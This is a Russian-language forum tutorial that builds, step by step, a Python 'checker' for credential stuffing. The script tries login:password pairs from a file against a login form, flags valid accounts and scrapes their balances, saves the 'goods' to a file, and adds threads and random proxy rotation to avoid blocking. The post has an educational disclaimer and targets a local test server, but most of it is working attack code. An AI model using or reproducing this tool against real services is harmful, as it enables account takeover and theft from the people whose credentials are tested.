6kk 2 Опубликовано: 18 дек 2021 Данная статья написана исключительно в ознакомительных целях и призвана помочь Вам защитить свои конфиденциальные данные. Что нам необходимо Python 3 (Желательно последней версии) - скачать Редактор кода, например PyCharm, VS Code, Notepad++ Свой сайт, т.к. мы будем писать чекер на свой сайт Библиотека requests - pip install requests Минимальные знания Python и прямые руки Приступим Для начала запускаем сервер, он нам даст адрес нашего сайта: Переходим на сайт и видим форму входа: У нас есть 2 пользователя: admin:lzt и user:user. Теперь мы можем начинать писать наш чекер, создаем новый файл с окончанием .py и добавляем нужный нам импорт: import requests База аккаунтов у нас будет в файле logins.txt, создаём её (не обязательно переписывать всё, просто добавьте аккаунты по вкусу): Далее нам надо эту базу прочитать, для этого откроем файл через open: file = open('logins.txt').read() Но это только прочитает файл, а нам надо ещё разделить аккаунты по строкам, для этого используем .split('\n'), который разделит файл: ['admin:admin', 'admin:1234', 'admin:password', 'admin:user', 'admin:lzt', 'user:user', 'user:1234', 'user:password', 'user:admin'] Теперь переходим в браузер, я буду показывать на примере Google Chrome. Открываем наш сайт и нажимаем Ctrl + Shift + I, и переходим в вкладку Network, и нажимаем на флажок Preserve log. Далее вводим верный логин и пароль и нажимаем Войти, у нас во вкладке Network появится новый запрос. Нажимаем на него и видим такую картину: Смотрим в Request Headers, нас интересует Content-Type. У нас это application/x-www-form-urlencoded. Он может быть и application/json. Мы будем делать всё на примере application/x-www-form-urlencoded. Теперь смотрим в Form Data и видим поля login и password. Теперь мы можем приступить к написанию кода. Т.к. у нас POST запрос, мы будем использовать requests.post и ссылку из Request URL: requests.post("http://127.0.0.1:5000/login") Далее нам надо передать наш логин и пароль, для этого добавляем после URL, data={}: requests.post("http://127.0.0.1:5000/login", data={}) Теперь в {} пишем поля из Form Data: {'login': 'admin', 'password': 'lzt'} Для получения ответа сервера необходимо добавить .text в конец строки. В итоге: requests.post("http://127.0.0.1:5000/login", data={'login': 'admin', 'password': 'lzt'}).text Кидаем это всё в print и смотрим результат. Если вы всё сделали правильно, то будет такое: Теперь мы можем добавить проверку на успешный вход и получение баланса: login = requests.post("http://127.0.0.1:5000/login", data={'login': 'admin', 'password': 'lzt'}).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(balance) else: # Пароль не верный print("Не валидный аккаунт") Итак, время проверять наши аккаунты! Для этого добавляем цикл перебора всех аккаунтов и с помощью .split(":") делим базу на логин и пароль. Добавляем наши переменные в запрос и добавляем выводы: for account in file: username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт {account} с балансом {balance} рублей") else: # Пароль не верный print(f"Не валидный аккаунт {account}") Запускаем и видим что наши аккаунты прочекались: Итоговый код import requests # Читаем file = open('logins.txt').read().split('\n') # Чекаем все аккаунты for account in file: username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт {account} с балансом {balance} рублей") else: # Пароль не верный print(f"Не валидный аккаунт {account}") Потоки Чекер слишком долго проверяет аккаунты? Это время добавить потоки, которые будут проверять аккаунты не зависимо друг от друга. Для этого мы будем использовать библиотеку threading - она уже есть в Python. Добавляем её: import threading Теперь нам надо написать функцию проверки аккаунта, просто вносим весь код в неё: def check(account): username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт {account} с балансом {balance} рублей") else: # Пароль не верный print(f"Не валидный аккаунт {account}") Теперь нам нужна функция для самого потока, которая будет брать аккаунт и проверять его: def thread(): # Пока есть аккаунты while file: # Берём первый аккаунт из списка to_check = file[0] # Удаляем его из списка file.remove(to_check) try: # Вызываем функцию проверки аккаунта check(to_check) except Exception as e: # Если что-то пойдет не так, выведет ошибку print("Ошибка:", e) Добавляем переменную thread_count, в которой мы будем указывать количество потоков: thread_count = 10 Итак, базу мы написали. Теперь можно писать запуск потоков: # Запускаем thread_count потоков for _ in range(thread_count): # Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ. t = threading.Thread(target=thread) # Запускаем поток t.start() Запускаем и смотрим, как быстро отработал наш чекер. Итоговый код import threading import requests # Читаем file = open('logins.txt').read().split('\n') thread_count = 10 def thread(): # Пока есть аккаунты while file: # Берём первый аккаунт из списка to_check = file[0] # Удаляем его из списка file.remove(to_check) try: # Вызываем функцию проверки аккаунта check(to_check) except Exception as e: # Если что-то пойдет не так, выведет ошибку print("Ошибка:", e) # Перебираем все аккаунты def check(account): username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт {account} с балансом {balance} рублей") else: # Пароль не верный print(f"Не валидный аккаунт {account}") # Запускаем thread_count потоков for _ in range(thread_count): # Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ. t = threading.Thread(target=thread) # Запускаем поток t.start() Запись в файл Вывод в консоль не самый удобный метод. Надо писать валидные аккаунты в файл. Для этого мы будем использовать open(), но с некоторыми различиями. Чтобы открыть файл на запись нам нужен режим a+, где a - append (добавлять к файлу) и + - создание файла если его нет. Пример: open('файл', 'a+').write("текст") В нашем случае мы будем писать гуды в файл good.txt. Для этого, чтобы не открывать его кучу раз используем (не забывая в конце закрыть файл через .close()): goods = open('good.txt', 'a+') Рядом с print пишем саму запись в файл: goods.write(f"{account}:{balance}\n") \n в конце - это перенос строки в файле. Добавляем это рядом с print (или вместо его). Запускаем код и смотрим в файл good.txt: Наши валидные аккаунты записались в файл. Итоговый код import requests # Читаем file = open('logins.txt').read().split('\n') goods = open('good.txt', 'a+') # Чекаем все аккаунты for account in file: username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] goods.write(f"{account}:{balance}\n") print(f"Валидный аккаунт {account} с балансом {balance} рублей") else: # Пароль не верный print(f"Не валидный аккаунт {account}") #Заканчиваем запись файла goods.close() Прокси Последняя тема, которую мы разберём в данном уроке - прокси. Чекер без прокси долго работать не будет. Читать прокси мы будем аналогично аккаунтам: proxies = open('proxy.txt').read().split('\n') Прокси должны начинаться с протокола, например https:// или socks5://. Можно добавить протокол в сам код или прямо в файл с листом прокси. Выбираем рандомный прокси: proxy = random.choice(proxies) Чтобы использовать прокси в запросах, надо их передать. Добавляем после data={} запятую и пишем proxies=dict(http=proxy, https=proxy) random.choice выберет рандомный прокси из нашего списка. Его так-же надо импортировать: import random Чтобы работать с socks надо установить pysocks: pip install pysocks Внимание: если вы работаете с локальным сервером, прокси не будут работать. Выглядеть код должен примерно так: requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}, proxies=dict(http=proxy, https=proxy)).text Итоговый код import random import requests # Читаем file = open('logins.txt').read().split('\n') proxies = open('proxy.txt').read().split('\n') # Чекаем все аккаунты for account in file: proxy = random.choice(proxies) username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}, proxies=dict(http=proxy, https=proxy)).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт {account} с балансом {balance} рублей") else: # Пароль не верный print(f"Не валидный аккаунт {account}") 0 Поделиться сообщением Ссылка на сообщение